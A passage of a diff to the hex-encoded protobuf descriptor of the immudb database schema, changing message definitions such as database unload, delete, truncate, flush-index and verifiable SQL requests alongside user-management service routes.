0x77, 0x73, - 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, - 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, - 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, - 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, - 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, - 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, - 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, - 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, - 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, - 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, - 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, - 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, - 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, - 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, - 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, - 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, - 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, - 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, - 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, - 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, - 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, - 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, - 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, - 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, - 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, - 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, - 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, - 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, - 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, - 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, - 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, - 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, - 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, - 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, - 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, + 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, + 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, + 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, + 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, + 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 